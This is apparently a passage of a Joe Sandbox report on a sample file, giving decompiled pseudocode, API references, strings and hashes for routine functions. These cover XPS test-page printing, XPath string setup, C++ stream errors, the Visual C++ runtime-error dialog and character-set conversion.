					E011430C0(_t141);
					_pop(_t157);
					_pop(_t162);
					return E0114942B(_t140,  *(_t164 - 4) ^ _t164, _t164 - 0x270, _t157, _t162);
				}
				_t148 = _t164 - 0x268;
				 *(_t164 - 0x278) = CreateDCW(0, _t164 - 0x268, 0, 0);
				if( *(_t164 - 0x278) != 0) {
					goto L11;
				}
				 *((intOrPtr*)(_t164 - 0x288)) = GetLastError();
				E01148840(_t148, 0x6c);
				_t172 = _t167 + 4;
				if( *((intOrPtr*)(_t164 - 0x288)) == 0x709) {
					E01148840(_t148, 0x6a);
					_t172 = _t172 + 4;
				}
				_push( *((intOrPtr*)(_t164 - 0x288)));
				_t132 = E01141730(_t141);
				_t167 = _t172 + 4;
				 *(_t164 - 0x274) = _t132;
				goto L11;
			}

0x01142cb0
0x01142cb2
0x01142cb9
0x01142cc0
0x01142cc3
0x01142cc4
0x01142cc5
0x01142ccf
0x01142cd9
0x01142ce3
0x01142ced
0x01142cf7
0x01142d01
0x01142d0b
0x01142d23
0x01142d28
0x01142d2b
0x01142d35
0x01142d3f
0x01142d44
0x01142d49
0x01142d4f
0x01142d55
0x01142d62
0x01142d64
0x01142d6a
0x01142d71
0x01142d72
0x01142d77
0x01142d7a
0x01142d7a
0x01142d87
0x01142d89
0x01142d90
0x01142d9e
0x01142da3
0x01142da6
0x01142da6
0x01142db3
0x01142dbb
0x01142dbc
0x01142dc2
0x01142dc9
0x01142dca
0x01142dd0
0x01142dd1
0x01142dd3
0x01142dd8
0x01142ddb
0x01142ddb
0x01142de8
0x01142e4d
0x01142e4d
0x01142e54
0x01142e56
0x01142e5c
0x01142e5d
0x01142e62
0x01142e65
0x01142e72
0x01142e76
0x01142e7e
0x01142e80
0x01142e85
0x01142e88
0x01142e88
0x01142e72
0x01142e95
0x01142e97
0x01142ea1
0x01142eab
0x01142eb5
0x01142ebf
0x01142edf
0x01142ef3
0x01142ef4
0x01142ef9
0x01142efc
0x01142ee1
0x01142ee1
0x01142ee1
0x01142edf
0x01142f09
0x01142f0b
0x01142f1a
0x01142f2e
0x01142f2f
0x01142f34
0x01142f37
0x01142f1c
0x01142f1c
0x01142f1c
0x01142f1a
0x01142f44
0x01142f5d
0x01142f6c
0x01142f74
0x01142f75
0x01142f7a
0x01142f7d
0x01142f7d
0x01142f6c
0x01142f8a
0x01142f8e
0x01142f99
0x01142f9f
0x01142fa4
0x01142fb6
0x01142fc5
0x01142fcd
0x01142fce
0x01142fd3
0x01142fd6
0x01142fd6
0x01142fc5
0x01142fe3
0x01142fec
0x01142fec
0x01142ff9
0x01143002
0x01143002
0x0114300f
0x01143011
0x01143018
0x0114301e
0x0114301e
0x0114302f
0x01143035
0x01143046
0x0114304f
0x01143058
0x01143058
0x0114305e
0x0114305e
0x0114306f
0x01143077
0x01143080
0x01143083
0x01143085
0x01143085
0x01143095
0x01143096
0x011430a4
0x011430a5
0x011430b3
0x011430b3
0x01142dee
0x01142dfd
0x01142e0a
0x00000000
0x00000000
0x01142e12
0x01142e1a
0x01142e1f
0x01142e2c
0x01142e30
0x01142e35
0x01142e35
0x01142e3e
0x01142e3f
0x01142e44
0x01142e47
0x00000000

APIs

CreateDCW.GDI32(00000000,?,00000000,00000000), ref: 01142DF7
GetLastError.KERNEL32(?,?,?,00000100,Microsoft XPS Document Writer), ref: 01142E0C
StartDocW.GDI32(00000000,00000014), ref: 01142ED7
StartPage.GDI32(00000000), ref: 01142F12

Part of subcall function 01143110: LocalFree.KERNEL32(00000000,00000100,Microsoft XPS Document Writer), ref: 01143164

GetLastError.KERNEL32 ref: 01142EED
GetLastError.KERNEL32 ref: 01142F28
ExtEscape.GDI32(00000000,0000101A,00000000,00000000,00000000,00000000), ref: 01142F64
GetLastError.KERNEL32 ref: 01142F6E
TextOutW.GDI32(00000000,000000C8,000000C8,00000000,00000000,Microsoft XPS Document Writer), ref: 01142FBD
GetLastError.KERNEL32 ref: 01142FC7
EndPage.GDI32(00000000), ref: 01142FEC
EndDoc.GDI32(00000000), ref: 01143002
DeleteDC.GDI32(00000000), ref: 01143018
CoTaskMemFree.OLE32(00000000,?,00000100,Microsoft XPS Document Writer), ref: 0114302F
LocalFree.KERNEL32(00000000), ref: 01143058

Strings

Microsoft XPS Document Writer, xrefs: 01142D3F
Document with Single PrintTicket, xrefs: 01142EA1
This page is associated with default Print Ticket, xrefs: 01142F91

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: ErrorLast$Free$LocalPageStart$CreateDeleteEscapeTaskText
String ID: Document with Single PrintTicket$Microsoft XPS Document Writer$This page is associated with default Print Ticket
API String ID: 2387885133-3841100957
Opcode ID: 13c9540a34254a7fbe2afcae9c10534572fa6f00684c4daa5489a0da9b185a77
Instruction ID: ff1a292e1001e683e61407ed8c0039f02c179021e96e10f6e7ea7206c489c639
Opcode Fuzzy Hash: 13c9540a34254a7fbe2afcae9c10534572fa6f00684c4daa5489a0da9b185a77
Instruction Fuzzy Hash: 6FB14DB1D0522ADBEF68EB70DC4DB9AB774AB04B09F0046E8E11DA7180DB755AC8CF51

Uniqueness

Uniqueness Score: -1.00%

Function 01142230, Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 132memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(SelectionLanguage), ref: 01142242
SysAllocString.OLEAUT32(XPath), ref: 01142250
SysAllocString.OLEAUT32(SelectionNamespaces), ref: 0114225E
SysAllocString.OLEAUT32( xmlns:psf="http://schemas.microsoft.com/windows/2003/08/printing/printschemaframework" ), ref: 0114226C
VariantInit.OLEAUT32(?), ref: 011422C0
VariantInit.OLEAUT32(?), ref: 01142313
SysFreeString.OLEAUT32(00000000), ref: 01142388
SysFreeString.OLEAUT32(00000000), ref: 01142398
SysFreeString.OLEAUT32(00000000), ref: 011423A8
SysFreeString.OLEAUT32(00000000), ref: 011423B8

Strings

SelectionLanguage, xrefs: 0114223D
SelectionNamespaces, xrefs: 01142259
XPath, xrefs: 0114224B
xmlns:psf="http://schemas.microsoft.com/windows/2003/08/printing/printschemaframework" , xrefs: 01142267

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: String$AllocFree$InitVariant
String ID: xmlns:psf="http://schemas.microsoft.com/windows/2003/08/printing/printschemaframework" $SelectionLanguage$SelectionNamespaces$XPath
API String ID: 1538505634-1642637475
Opcode ID: 1e97d573ccca10d43dee79f7d2c7724782c5008d62a8735c432aa932a5834342
Instruction ID: 421c2c1c78b1efb20ffc56ab0fd365c195875264daad29a8a28bcfe477487d3f
Opcode Fuzzy Hash: 1e97d573ccca10d43dee79f7d2c7724782c5008d62a8735c432aa932a5834342
Instruction Fuzzy Hash: 98510674901209EFDB18DFA8E588BAEBBB1FF49304F208169F919A7354D7749A81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 01147410, Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E01147410(intOrPtr __ecx) {
				void* __esp;
				intOrPtr _t29;
				void* _t61;

				_pop(_t61);
				 *((intOrPtr*)(_t61 - 4)) = __ecx;
				 *( *((intOrPtr*)(_t61 - 4)) + 0xc) =  *(_t61 + 8) & 0x00000017;
				_t29 =  *((intOrPtr*)(_t61 - 4));
				if(( *( *((intOrPtr*)(_t61 - 4)) + 0xc) &  *(_t29 + 0x10)) != 0) {
					if(( *(_t61 + 0xc) & 0x000000ff) == 0) {
						if(( *( *((intOrPtr*)(_t61 - 4)) + 0xc) &  *( *((intOrPtr*)(_t61 - 4)) + 0x10) & 0x00000004) == 0) {
							if(( *( *((intOrPtr*)(_t61 - 4)) + 0xc) &  *( *((intOrPtr*)(_t61 - 4)) + 0x10) & 0x00000002) == 0) {
								E01145A90(_t61 - 0x58, "ios_base::eofbit set", E01147AE0(_t61 - 0x1c, 1));
								_t29 = E0114A12A(_t61 - 0x58, 0x1167304);
							} else {
								E01145A90(_t61 - 0x44, "ios_base::failbit set", E01147AE0(_t61 - 0x14, 1));
								_t29 = E0114A12A(_t61 - 0x44, 0x1167304);
							}
						} else {
							E01145A90(_t61 - 0x30, "ios_base::badbit set", E01147AE0(_t61 - 0xc, 1));
							_t29 = E0114A12A(_t61 - 0x30, 0x1167304);
						}
					} else {
						_t29 = E0114A12A(0, 0);
					}
				}
				_push(_t61);
				return _t29;
			}

0x01147412
0x01147416
0x01147422
0x01147428
0x01147431
0x0114743e
0x0114745d
0x0114749a
0x011474df
0x011474ed
0x0114749c
0x011474b3
0x011474c1
0x011474c1
0x0114745f
0x01147476
0x01147484
0x01147484
0x01147440
0x01147444
0x01147444
0x0114743e
0x011474f2
0x011474f5

Strings

ios_base::failbit set, xrefs: 011474AB
ios_base::eofbit set, xrefs: 011474D7
ios_base::badbit set, xrefs: 0114746E

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID:
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 0-1866435925
Opcode ID: dff0c7c17d66c89094e9b593f21d3a41b71970feaac81b38c7b6ff54a2c800ff
Instruction ID: f95813b435a4cbc2b425edb8d1df995ddf22c04839fe9fa8574373443d3ba039
Opcode Fuzzy Hash: dff0c7c17d66c89094e9b593f21d3a41b71970feaac81b38c7b6ff54a2c800ff
Instruction Fuzzy Hash: 3121C975A40209EBC70DEB94DD52FBDB775FF60B04F688449E4066B580D771AB04C751

Uniqueness

Uniqueness Score: -1.00%

Function 0114D645, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 163
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 48%

			E0114D645(void* __ebx, void* __edx, void* __edi, void* __esi, void* __fp0, intOrPtr _a4) {
				signed int _v8;
				char _v9;
				void _v508;
				long _v512;
				signed int _t16;
				short _t29;
				short _t30;
				void* _t35;
				void* _t37;
				void* _t39;
				signed int _t42;
				void* _t43;
				void* _t46;
				void* _t47;
				signed int _t56;
				void* _t59;
				void* _t60;
				void* _t63;
				void* _t64;
				intOrPtr _t66;
				void* _t67;
				void* _t68;
				void* _t69;
				signed int _t74;
				signed int _t76;
				void* _t77;
				void* _t79;
				void* _t96;

				_t96 = __fp0;
				_t60 = __edx;
				_t49 = __ebx;
				_t74 = _t76;
				_t77 = _t76 - 0x1fc;
				_t16 =  *0x1169060; // 0x43153b94
				_v8 = _t16 ^ _t74;
				_push(__esi);
				_t66 = _a4;
				_push(__edi);
				_t63 = E0114D621(_t66);
				if(_t63 == 0) {
					L20:
					_pop(_t64);
					_pop(_t67);
					return E0114942B(_t49, _v8 ^ _t74, _t60, _t64, _t67);
				} else {
					_push(__ebx);
					_push(3);
					if(E011501D6() == 1) {
						L13:
						_push(GetStdHandle(0xfffffff4));
						_pop(_t68);
						_t69 = _t68;
						__eflags = _t69;
						if(_t69 != 0) {
							__eflags = _t69 - 0xffffffff;
							if(_t69 != 0xffffffff) {
								__eflags = 0;
								_push(0);
								_pop(_t56);
								while(1) {
									 *((char*)(_t74 + _t56 - 0x1f8)) =  *(_t63 + _t56 * 2);
									__eflags =  *(_t63 + _t56 * 2);
									if( *(_t63 + _t56 * 2) == 0) {
										break;
									}
									_t56 = _t56 + 1;
									__eflags = _t56 - 0x1f4;
									if(_t56 < 0x1f4) {
										continue;
									}
									break;
								}
								_v9 = 0;
								WriteFile(_t69,  &_v508, E011493A0( &_v508),  &_v512, 0);
							}
						}
						goto L19;
					} else {
						_push(3);
						if(E011501D6() != 0 ||  *0x116ae08 != 1) {
							if(_t66 == 0xfc) {
								L19:
								_pop(_t49);
								goto L20;
							} else {
								_push(L"Runtime Error!\n\nProgram: ");
								_push(0x314);
								_push(0x116ae10);
								_t29 = E011546C5();
								_t79 = _t77 + 0xc;
								_t30 = _t29;
								if(_t30 != 0) {
									L21:
									_push(0);
									_push(0);
									E0114B601(0, _t60);
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("fst qword [esp]");
									E01155FC8(0);
									return E0114D82D(__eflags, _t96, 0, 0);
								} else {
									 *0x116b04a = _t30;
									if(GetModuleFileNameW(0, 0x116ae42, 0x104) != 0) {
										L8:
										_t35 = E0114943A(0x116ae42);
										_pop(_t59);
										if(_t35 + 1 <= 0x3c) {
											L10:
											_push(L"\n\n");
											_push(0x314);
											_push(0x116ae10);
											_t37 = E01154659();
											_t79 = _t79 + 0xc;
											if(_t37 != 0) {
												goto L21;
											} else {
												_push(_t63);
												_push(0x314);
												_push(0x116ae10);
												_t39 = E01154659();
												_t79 = _t79 + 0xc;
												_t94 = _t39;
												if(_t39 != 0) {
													goto L21;
												} else {
													E01155B25(_t59, _t60, _t94, 0x116ae10, L"Microsoft Visual C++ Runtime Library", 0x12010);
													goto L19;
												}
											}
										} else {
											_t42 = E0114943A(0x116ae42);
											_push(3);
											_push(L"...");
											_t59 = 0x116adcc + _t42 * 2;
											_t43 = _t59;
											_push(0x2fb - (_t43 - 0x116ae42 >> 1));
											_push(_t59);
											_t46 = E011547C1();
											_t79 = _t79 + 0x14;
											if(_t46 != 0) {
												goto L21;
											} else {
												goto L10;
											}
										}
									} else {
										_push(L"<program name unknown>");
										_push(0x2fb);
										_push(0x116ae42);
										_t47 = E011546C5();
										_t79 = _t79 + 0xc;
										if(_t47 != 0) {
											goto L21;
										} else {
											goto L8;
										}
									}
								}
							}
						} else {
							goto L13;
						}
					}
				}
			}

0x0114d645
0x0114d645
0x0114d645
0x0114d646
0x0114d648
0x0114d64e
0x0114d655
0x0114d658
0x0114d659
0x0114d65c
0x0114d666
0x0114d668
0x0114d7e7
0x0114d7ea
0x0114d7ed
0x0114d7f6
0x0114d66e
0x0114d66e
0x0114d66f
0x0114d67a
0x0114d78f
0x0114d797
0x0114d798
0x0114d799
0x0114d799
0x0114d79b
0x0114d79d
0x0114d7a0
0x0114d7a2
0x0114d7a4
0x0114d7a5
0x0114d7a6
0x0114d7a9
0x0114d7b0
0x0114d7b4
0x00000000
0x00000000
0x0114d7b6
0x0114d7b7
0x0114d7bd
0x00000000
0x00000000
0x00000000
0x0114d7bd
0x0114d7c6
0x0114d7e0
0x0114d7e0
0x0114d7a0
0x00000000
0x0114d680
0x0114d680
0x0114d68a
0x0114d69f
0x0114d7e6
0x0114d7e6
0x00000000
0x0114d6a5
0x0114d6a5
0x0114d6aa
0x0114d6af
0x0114d6b4
0x0114d6b9
0x0114d6be
0x0114d6c0
0x0114d7f7
0x0114d7f7
0x0114d7f8
0x0114d7fc
0x0114d801
0x0114d802
0x0114d803
0x0114d804
0x0114d805
0x0114d806
0x0114d807
0x0114d808
0x0114d809
0x0114d80a
0x0114d80b
0x0114d80c
0x0114d80d
0x0114d80e
0x0114d80f
0x0114d813
0x0114d816
0x0114d823
0x0114d6c6
0x0114d6d1
0x0114d6e4
0x0114d701
0x0114d706
0x0114d70c
0x0114d710
0x0114d747
0x0114d747
0x0114d74c
0x0114d756
0x0114d757
0x0114d75c
0x0114d761
0x00000000
0x0114d767
0x0114d767
0x0114d768
0x0114d76d
0x0114d76e
0x0114d773
0x0114d776
0x0114d778
0x00000000
0x0114d77a
0x0114d785
0x00000000
0x0114d78a
0x0114d778
0x0114d712
0x0114d717
0x0114d71c
0x0114d71e
0x0114d723
0x0114d72b
0x0114d735
0x0114d736
0x0114d737
0x0114d73c
0x0114d741
0x00000000
0x00000000
0x00000000
0x00000000
0x0114d741
0x0114d6e6
0x0114d6e6
0x0114d6eb
0x0114d6ec
0x0114d6f1
0x0114d6f6
0x0114d6fb
0x00000000
0x00000000
0x00000000
0x00000000
0x0114d6fb
0x0114d6e4
0x0114d6c0
0x00000000
0x00000000
0x00000000
0x0114d68a
0x0114d67a

APIs

GetModuleFileNameW.KERNEL32(?,0116AE42,00000104,?,00000001,011442F1), ref: 0114D6D7
GetStdHandle.KERNEL32(000000F4,?,00000001,011442F1), ref: 0114D791
WriteFile.KERNEL32(00000000,?,00000000,?,00000000,?,00000001,011442F1), ref: 0114D7E0

Strings

Microsoft Visual C++ Runtime Library, xrefs: 0114D77F
<program name unknown>, xrefs: 0114D6E6
Runtime Error!Program: , xrefs: 0114D6A5
..., xrefs: 0114D71E

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 3784150691-4022980321
Opcode ID: af05ced3ef16f2aa539125e765a315bc81e309be6eb163933678190559ee1ec4
Instruction ID: df47aae36a4e1ce4d90b3eaa3014ae43e3fe5becf951ef8df2990a8714d92315
Opcode Fuzzy Hash: af05ced3ef16f2aa539125e765a315bc81e309be6eb163933678190559ee1ec4
Instruction Fuzzy Hash: 13416C31944657A7DF2DB7F8BC89BBE366C9F35F1DF0401B9F924A2180FB62456041A2

Uniqueness

Uniqueness Score: -1.00%

Function 008114A0, Relevance: 12.2, APIs: 8, Instructions: 171COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000007F), ref: 008114DB
SetLastError.KERNEL32(0000007F), ref: 00811507

Memory Dump Source

Source File: 00000000.00000002.202137086.0000000000811000.00000020.00000001.sdmp, Offset: 00811000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_811000_PHvqpLRfRl.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: bd1a1b6163e2fbe847cca62c2418e9d40aea82011db0ad9a21931a604f640068
Instruction ID: 7babb341f39251dc9b6497b7d197c29aa5c17462fdc4c6326bb1a42a910aa0f5
Opcode Fuzzy Hash: bd1a1b6163e2fbe847cca62c2418e9d40aea82011db0ad9a21931a604f640068
Instruction Fuzzy Hash: D3711474E00109EFDB08DF98C984BEDB7B6FF58304F248598E516AB391D734AA81DB94

Uniqueness

Uniqueness Score: -1.00%

Function 011526CB, Relevance: 10.7, APIs: 7, Instructions: 209
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 54%

			E011526CB(void* __ecx, signed int __edx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, signed int _a12, char* _a16, int _a20, intOrPtr _a24, short* _a28, int _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _v12;
				void* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t55;
				short* _t63;
				int _t66;
				short* _t68;
				signed int _t72;
				void* _t75;
				signed int _t79;
				void* _t83;
				int _t88;
				char* _t89;
				void* _t92;
				void* _t93;
				short* _t94;
				void* _t95;
				int _t99;
				int _t100;
				void* _t105;
				short* _t107;
				signed int _t110;
				signed int _t111;
				signed int _t112;
				int _t116;
				void* _t117;
				int _t121;
				void* _t122;
				signed int _t123;
				short* _t124;
				short* _t125;
				signed int _t127;
				void* _t128;
				short* _t130;
				void* _t137;
				void* _t142;

				_t142 = __fp0;
				_t112 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t55 =  *0x1169060; // 0x43153b94
				_v8 = _t55 ^ _t127;
				_push(_t93);
				_t121 = _a20;
				if(_t121 <= 0) {
					L7:
					_t116 = 0;
					_t99 = _a32;
					if(_t99 == 0) {
						_t88 =  *( *_a4 + 4);
						_t99 = _t88;
						_a32 = _t88;
					}
					_t100 = MultiByteToWideChar(_t99, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t121, 0, 0);
					_v12 = _t100;
					if(_t100 != 0) {
						if(__eflags <= 0) {
							L22:
							_t94 = 0;
							__eflags = 0;
							L23:
							__eflags = _t94;
							if(_t94 == 0) {
								goto L10;
							}
							_t63 = MultiByteToWideChar(_a32, 1, _a16, _t121, _t94, _t100);
							__eflags = _t63;
							if(_t63 == 0) {
								L47:
								E01150BA7(_t94);
								_push(_t116);
								goto L48;
							}
							_t123 = _v12;
							_push(0);
							_push(0);
							_push(_t123);
							_push(_t94);
							_push(_a12);
							_push(_a8);
							_t66 = E01150DC4();
							_t130 = _t128 + 0x18;
							_t116 = _t66;
							__eflags = _t116;
							if(_t116 == 0) {
								goto L47;
							}
							__eflags = _a12 & 0x00000400;
							if((_a12 & 0x00000400) == 0) {
								_t116 = _t116;
								__eflags = _t116;
								if(_t116 <= 0) {
									L39:
									_t124 = 0;
									__eflags = 0;
									L40:
									__eflags = _t124;
									if(_t124 != 0) {
										_push(_t116);
										_push(_t124);
										_push(_v12);
										_push(_t94);
										_push(_a12);
										_push(_a8);
										_t68 = E01150DC4();
										__eflags = _t68;
										if(_t68 != 0) {
											_push(0);
											_push(0);
											__eflags = _a28;
											if(_a28 != 0) {
												_push(_a28);
												_push(_a24);
											} else {
												_push(0);
												_push(0);
											}
											_t116 = WideCharToMultiByte(_a32, 0, _t124, _t116, ??, ??, ??, ??);
										}
										E01150BA7(_t124);
									}
									goto L47;
								}
								_t72 = 0xffffffe0;
								_t112 = _t72 % _t116;
								__eflags = _t72 / _t116 - 2;
								if(_t72 / _t116 < 2) {
									goto L39;
								}
								_t105 = _t116 + _t116;
								__eflags = _t105 + 8 - _t105;
								if(_t105 + 8 <= _t105) {
									goto L39;
								}
								_t75 = 8 + _t116 * 2;
								__eflags = _t75 - 0x400;
								if(_t75 > 0x400) {
									_push(_t75);
									_t125 = E01149F2F(_t94, _t112, _t116, _t142);
									__eflags = _t125;
									if(_t125 == 0) {
										goto L47;
									}
									 *_t125 = 0xdddd;
									L38:
									_t124 =  &(_t125[4]);
									goto L40;
								}
								E01156C50(_t75);
								_t125 = _t130;
								__eflags = _t125;
								if(_t125 == 0) {
									goto L47;
								}
								 *_t125 = 0xcccc;
								goto L38;
							}
							_t107 = _a28;
							__eflags = _t107;
							if(_t107 != 0) {
								__eflags = _t116 - _t107;
								if(_t116 <= _t107) {
									_push(_t107);
									_push(_a24);
									_push(_t123);
									_push(_t94);
									_push(_a12);
									_push(_a8);
									E01150DC4();
								}
							}
							goto L47;
						}
						_t79 = 0xffffffe0;
						_t112 = _t79 % _t100;
						__eflags = _t79 / _t100 - 2;
						if(_t79 / _t100 < 2) {
							goto L22;
						}
						_t20 = _t100 + _t100 + 8; // 0x8
						__eflags = _t20 - _t100 + _t100;
						if(_t20 <= _t100 + _t100) {
							_t100 = _v12;
							goto L22;
						}
						_t83 = 8 + _v12 * 2;
						__eflags = _t83 - 0x400;
						if(_t83 > 0x400) {
							_push(_t83);
							_t94 = E01149F2F(_t93, _t112, _t116, _t142);
							__eflags = _t94;
							if(_t94 == 0) {
								L20:
								_t100 = _v12;
								goto L23;
							}
							 *_t94 = 0xdddd;
							L19:
							_t94 =  &(_t94[4]);
							__eflags = _t94;
							goto L20;
						}
						E01156C50(_t83);
						_t94 = _t128;
						__eflags = _t94;
						if(_t94 == 0) {
							goto L20;
						} else {
							 *_t94 = 0xcccc;
							goto L19;
						}
					} else {
						L10:
						L48:
						_pop(_t117);
						_pop(_t122);
						_pop(_t95);
						return E0114942B(_t95, _v8 ^ _t127, _t112, _t117, _t122);
					}
				} else {
					_t89 = _a16;
					_t110 = _t121;
					while(1) {
						_t111 = _t110 - 1;
						if( *_t89 == 0) {
							break;
						}
						_t89 =  &(_t89[1]);
						_t110 = _t111;
						if(_t110 != 0) {
							continue;
						} else {
							_t111 = _t110 | 0xffffffff;
							break;
						}
					}
					_t92 = _t121 - _t111 - 1;
					_t137 = _t92 - _t121;
					_t121 = _t92 + 1;
					if(_t137 >= 0) {
						_t121 = _t92;
					}
					goto L7;
				}
			}

0x011526cb
0x011526cb
0x011526ce
0x011526cf
0x011526d0
0x011526d7
0x011526da
0x011526e0
0x011526e2
0x01152705
0x01152708
0x0115270a
0x0115270c
0x01152713
0x01152716
0x01152718
0x01152718
0x0115273a
0x0115273c
0x01152741
0x0115274a
0x011527a3
0x011527a3
0x011527a3
0x011527a5
0x011527a5
0x011527a7
0x00000000
0x00000000
0x011527b4
0x011527ba
0x011527bc
0x011528b2
0x011528b3
0x011528b9
0x00000000
0x011528ba
0x011527c2
0x011527c5
0x011527c7
0x011527c9
0x011527ca
0x011527cb
0x011527ce
0x011527d1
0x011527d8
0x011527db
0x011527db
0x011527dd
0x00000000
0x00000000
0x011527e3
0x011527ea
0x01152818
0x01152818
0x0115281a
0x0115286b
0x0115286b
0x0115286b
0x0115286d
0x0115286d
0x0115286f
0x01152874
0x01152875
0x01152876
0x01152877
0x01152878
0x0115287b
0x0115287e
0x01152886
0x01152888
0x0115288c
0x0115288d
0x0115288e
0x01152891
0x01152897
0x0115289a
0x01152893
0x01152893
0x01152894
0x01152894
0x011528a9
0x011528a9
0x011528ac
0x011528b1
0x00000000
0x0115286f
0x01152820
0x01152821
0x01152823
0x01152826
0x00000000
0x00000000
0x01152828
0x0115282e
0x01152830
0x00000000
0x00000000
0x01152832
0x01152839
0x0115283e
0x01152853
0x0115285a
0x0115285c
0x0115285e
0x00000000
0x00000000
0x01152860
0x01152866
0x01152866
0x00000000
0x01152866
0x01152840
0x01152847
0x01152847
0x01152849
0x00000000
0x00000000
0x0115284b
0x00000000
0x0115284b
0x011527ec
0x011527ef
0x011527f1
0x011527f7
0x011527f9
0x011527ff
0x01152800
0x01152803
0x01152804
0x01152805
0x01152808
0x0115280b
0x01152810
0x011527f9
0x00000000
0x011527f1
0x01152750
0x01152751
0x01152753
0x01152756
0x00000000
0x00000000
0x0115275a
0x0115275d
0x0115275f
0x011527a0
0x00000000
0x011527a0
0x01152764
0x0115276b
0x01152770
0x01152785
0x0115278e
0x0115278e
0x01152790
0x0115279b
0x0115279b
0x00000000
0x0115279b
0x01152792
0x01152798
0x01152798
0x01152798
0x00000000
0x01152798
0x01152772
0x01152778
0x01152779
0x0115277b
0x00000000
0x0115277d
0x0115277d
0x00000000
0x0115277d
0x01152743
0x01152743
0x011528bb
0x011528be
0x011528bf
0x011528c0
0x011528ce
0x011528ce
0x011526e4
0x011526e4
0x011526e8
0x011526e9
0x011526e9
0x011526ed
0x00000000
0x00000000
0x011526ef
0x011526f0
0x011526f2
0x00000000
0x011526f4
0x011526f4
0x00000000
0x011526f4
0x011526f2
0x011526fb
0x011526fc
0x011526fe
0x01152701
0x01152704
0x01152704
0x00000000
0x01152701

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00000100,00000001,00000000,?,?,?,01152901,00000100,?,00000100), ref: 01152734
__alloca_probe_16.LIBCMT ref: 01152772
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,00000000,?,?,?,01152901,00000100,?,00000100,?,?,?), ref: 011527B4
__alloca_probe_16.LIBCMT ref: 01152840
WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,?), ref: 011528A3
__freea.LIBCMT ref: 011528AC

Part of subcall function 01149F2F: __FF_MSGBANNER.LIBCMT ref: 01149F46
Part of subcall function 01149F2F: RtlAllocateHeap.NTDLL(00A20000,00000000,00000001,?,?,?,?,011442F1,00003DB9), ref: 01149F72

__freea.LIBCMT ref: 011528B3

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: ByteCharMultiWide$__alloca_probe_16__freea$AllocateHeap
String ID:
API String ID: 3735268880-0
Opcode ID: 5dea712b2c03b7e17b321fa485595e913ec7ad1fe2b61bb5b49f6b5f5eeeacb7
